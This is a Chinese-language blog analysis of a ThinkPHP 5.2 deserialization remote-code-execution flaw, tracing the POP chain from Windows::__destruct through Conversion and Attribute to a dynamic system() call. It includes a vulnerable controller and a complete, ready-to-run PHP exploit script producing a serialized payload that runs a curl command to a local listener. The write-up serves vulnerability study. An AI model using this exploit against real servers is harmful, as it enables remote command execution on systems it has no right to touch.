ThinkPHP 5.2 反序列化漏洞分析

🐘 ThinkPHP 5.2 反序列化漏洞深度分析

漏洞类型 :反序列化命令执行 影响版本 :ThinkPHP 5.2.x 危险等级 :🔴 高危 分析时间:2026-03-27


📌 目录

  1. 漏洞验证

  2. [POP 链分析](#POP 链分析)

  3. 关键问题详解

  4. [完整 EXP](#完整 EXP)

  5. 防御建议


🎯 漏洞验证

测试代码

/app/controller/index.php

复制代码
<?php
namespace app\controller;
​
class Index
{
    public function index($input='')
    { 
        echo $input;
        unserialize($input);  // ← 漏洞点
    }
}

执行结果

✅ 成功执行 whoami 命令


🔗 POP 链分析

整体链路图

复制代码
┌────────────────────────────────────────────────────────────────┐
│                    POP Chain Overview                          │
├────────────────────────────────────────────────────────────────┤
│  Windows::__destruct()                                         │
│       │                                                        │
│       ▼                                                        │
│  file_exists() → 触发 __toString()                             │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toJson()                                          │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toArray()                                         │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getAttr()                                          │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getValue()                                         │
│       │                                                        │
│       ▼                                                        │
│  $closure($value) → 命令执行!                                  │
└────────────────────────────────────────────────────────────────┘

第一步:反序列化入口 Windows::__destruct()

关键代码:

复制代码
class Windows {
    private $files = [];
    
    public function __destruct()
    {
        $this->removeFiles();  // ← 析构时自动调用
    }
    
    private function removeFiles()
    {
        foreach ($this->files as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
    }
}

💡 我的思考:

为什么选 Windows 类作为入口?

  • __destruct() 在对象销毁时自动调用,无需额外触发条件

  • file_exists() 处理对象时会触发 __toString() 魔术方法

  • 这是反序列化漏洞的经典入口点


第二步:跟进 removeFiles() 方法

关键机制:

复制代码
// file_exists() 处理对象时
// PHP 会自动调用对象的 __toString() 方法
// 将其转换为字符串

💡 我的思考:

这是 PHP 的隐式类型转换特性。很多反序列化漏洞都利用了这个机制:

  • file_exists($obj) → __toString()

  • echo $obj → __toString()

  • $obj . "string" → __toString()


第三步:触发 __toString() 后跟进 toJson()

复制代码
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

第四步:跟进 Conversion::toJson()


第五步:跟进 Conversion::toArray()

关键代码:

复制代码
public function toArray()
{
    $item = [];
    $data = array_merge($this->data, $this->relation);  // ← 数据源
    
    foreach ($data as $key => $value) {
        $attr = $this->getAttr($key);  // ← 调用 getAttr
        $item[$key] = $attr;
    }
    
    return $item;
}

💡 我的思考:

这里有两个可控点:

  1. $this->data - 存储要执行的命令

  2. $this->relation - 配合遍历使用

array_merge 后,遍历每个 key 调用 getAttr(),这就把控制权交给了下一步


第六步:跟进 Attribute::getAttr()

复制代码
protected function getAttr($name)
{
    $relation = $this->relation;
    $value = $this->getData($name);  // ← 从 data 数组取值
    return $this->getValue($name, $value);  // ← 调用 getValue
}

第七步:跟进 getValue() 和 getData()


关键代码:

复制代码
// getData() - 从 data 数组取值
public function getData($name = null)
{
    $fieldName = $this->getRealFieldName($name);
    return $this->data[$fileName];  // ← 返回 data 数组中的值
}

// getValue() - 核心漏洞点
protected function getValue($name, $value)
{
    if (isset($this->withAttr[$name])) {
        $closure = $this->withAttr[$name];  // ← 可控!
        $value = $closure($value);          // ← 动态函数调用!
    }
    return $value;
}

💡 我的思考:

这是整个漏洞的最关键点!

问题本质 :$closure 来自用户可控的 $this->withAttr 数组,没有做任何过滤就直接执行。

PHP 特性 :'system'($cmd) 等价于 system($cmd) 这种动态函数调用在 PHP 中是合法的,但在这里极其危险。


第八步:$value 参数溯源


$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]。


第九步:getData() 方法详解

这里看到:

  • getRealFieldName($name) 这个方法只要有值,就直接返回

  • getData() 方法在 Attribute 文件中

  • 我们要定义 $this->data = array('abc'=>'system') 这样,保证 $name 有值时返回对应的 $this->data 参数


第十步:$name 参数来源

$name 来自 toArray() 方法中的 $key,而 $key 来自:

复制代码
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $value) { ... }

第十一步:Trait 机制让类互相访问

通过 use 关键字,让 Model 类可以使用多个 Trait 的属性和方法。


第十二步:$closure 参数构造

我们可以这样构建:

复制代码
$this->withAttr = array("paper" => 'system'); 
// => $closure = 'system';

❓ 关键问题详解

问题 1:$closure 到底从哪来?

答案:从 $this->withAttr 数组来

复制代码
// getValue() 中的关键代码
if (isset($this->withAttr[$name])) {
    $closure = $this->withAttr[$name];  // ← 这里
    $value = $closure($value);
}

攻击者构造:

复制代码
$this->withAttr = ['paper' => 'system'];
// 当 $name = 'paper' 时
// $closure = 'system'
// 执行:'system'('curl http://...')

问题 2:为什么 $data = 'paper' =\> 'curl [http://127.0.0.1:8897](http://127.0.0.1:8897 "http://127.0.0.1:8897")'?

答案:这是攻击者故意传入构造函数的参数

参数传递链:

复制代码
┌─────────────────────────────────────────────────────────────┐
│ new Pivot(['paper' => 'curl ...'])                          │
│         │                                                   │
│         ▼                                                   │
│ Pivot::__construct($closure)                                │
│     $closure = ['paper' => 'curl ...']                      │
│         │                                                   │
│         ▼                                                   │
│ parent::__construct($closure)                               │
│         │                                                   │
│         ▼                                                   │
│ Model::__construct($closure)                                │
│     $this->data = $closure  ← 赋值                         │
│         │                                                   │
│         ▼                                                   │
│ 最终:$data = ['paper' => 'curl http://127.0.0.1:8897']    │
└─────────────────────────────────────────────────────────────┘

💡 我的思考:

为什么键名必须是 'paper'?

其实可以是任意名字! 只要满足:

  • $data 的键名 = $withAttr 的键名

这样 getValue() 中才能匹配成功。


问题 3:序列化对象包含什么?

答案:只包含属性值,不包含代码

复制代码
$pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);

序列化后的对象结构:

复制代码
think\model\Pivot 对象
├── $relation = []                    (来自 RelationShip Trait)
├── $visible = []                     (来自 Conversion Trait)
├── $withAttr = ['paper' => 'system'] (来自 Attribute Trait)
└── $data = ['paper' => 'curl ...']   (来自 Attribute Trait)

⚠️ 重要提醒:

✅ 包含 ❌ 不包含
所有属性值(数据) 类定义代码
继承自父类的属性 Trait 的实现
私有/保护/公有属性 方法实现

💡 我的思考:

这就像游戏存档:

  • 存档文件只保存:等级、装备、位置(数据)

  • 不保存:游戏引擎代码、角色类定义(代码)

读档时 :游戏程序必须已安装,才能读取存档数据 反序列化时 :服务器必须有 ThinkPHP 框架,否则报错 Class not found


问题 4:为什么键名必须是 'paper'?

答案:可以是任意名字,只要匹配就行!

复制代码
// 方案 1:用 'paper'
$data = ['paper' => 'curl http://127.0.0.1:8897']
$withAttr = ['paper' => 'system']

// 方案 2:用 'cmd'
$data = ['cmd' => 'curl http://127.0.0.1:8897']
$withAttr = ['cmd' => 'system']

// 方案 3:用 'x'
$data = ['x' => 'whoami']
$withAttr = ['x' => 'system']

选择 'paper' 的可能原因:

  1. 随便起的名字,没有特殊含义

  2. 避免敏感词(cmd, exec, system)被 WAF 拦截

  3. 参考文章作者的个人习惯


📊 完整变量对应关系图

复制代码
┌─────────────────────────────────────────────────────────────────┐
│                    攻击者构造的 Payload                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  $data = ['paper' => 'curl http://127.0.0.1:8897']             │
│           │                        │                           │
│           │                        └──→ $value (要执行的命令)   │
│           │                                                    │
│           └──→ $key (用于查找处理器)                            │
│                                                                 │
│  $withAttr = ['paper' => 'system']                             │
│             │                        │                         │
│             │                        └──→ $closure (函数名)    │
│             │                                                  │
│             └──→ 必须和 $data 的键名一致!                       │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    getValue() 方法执行                           │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  if (isset($this->withAttr[$name])) {                          │
│      $closure = $this->withAttr[$name];  // 'system'           │
│      $value = $closure($value);          // system('curl..')   │
│  }                                                             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                      命令执行成功 ✅                             │
│              system('curl http://127.0.0.1:8897')              │
└─────────────────────────────────────────────────────────────────┘

📝 完整 EXP(带详细注释)

复制代码
<?php
/**
 * 🐘 ThinkPHP 5.2 反序列化漏洞利用脚本
 * 
 * POP 链:Windows::__destruct → __toString → toJson → toArray 
 *        → getAttr → getValue → 命令执行
 */

namespace think\process\pipes {
    class Windows {
        private $files = [];
        function __construct($files) {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion {
        protected $visible;
    }
    trait RelationShip {
        private $relation;
    }
    trait Attribute {
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model {
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute; 

        function __construct($closure) {
            $this->data = $closure;
            $this->relation = [];
            $this->visible = [];
            $this->withAttr = array("paper" => 'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model {
        function __construct($closure) {
            parent::__construct($closure);
        }
    }
}

namespace {
    $pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}

🔄 执行流程总结

复制代码
1. 服务器收到 Payload → unserialize($payload)
2. Windows 对象创建成功
3. 脚本结束 → Windows::__destruct() 自动调用
4. 遍历 $files 数组 → file_exists($pivot 对象)
5. file_exists 处理对象 → 触发 Pivot::__toString()
6. __toString → toJson() → toArray()
7. toArray 遍历 $this->data → getAttr('paper')
8. getAttr → getValue('paper', 'curl http://...')
9. getValue 中:$closure = $this->withAttr['paper'] = 'system'
10. 执行:'system'('curl http://127.0.0.1:8897')
11. 命令执行成功!✅

🔑 关键属性记忆表

属性 值 作用 来源
$files [Pivot 对象] 触发 __destruct Windows 类
$data['paper'] 'curl http://...' 要执行的命令 Attribute Trait
$withAttr['paper'] 'system' 要调用的函数 Attribute Trait
$relation [] 配合遍历 RelationShip Trait
$visible [] 配合遍历 Conversion Trait

🔐 安全研究,仅供学习,请勿用于非法用途

分析完成时间:2026-03-27 01:00

</div>

相关推荐
sbjdhjd3 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_112210 小时前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub10 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗11 小时前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录11 小时前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
中原第一高手12 小时前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
Bruce_Liuxiaowei13 小时前
2026年10月第2周网络安全形势周报
网络安全
黄金龙PLUS1 天前
如何基于置换算法来设计对称加密算法
算法·网络安全·密码学·哈希算法·同态加密
王大傻09281 天前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全
芯盾时代1 天前
从《人工智能安全治理框架3.0》看智能体安全治理
人工智能·安全·网络安全·智能体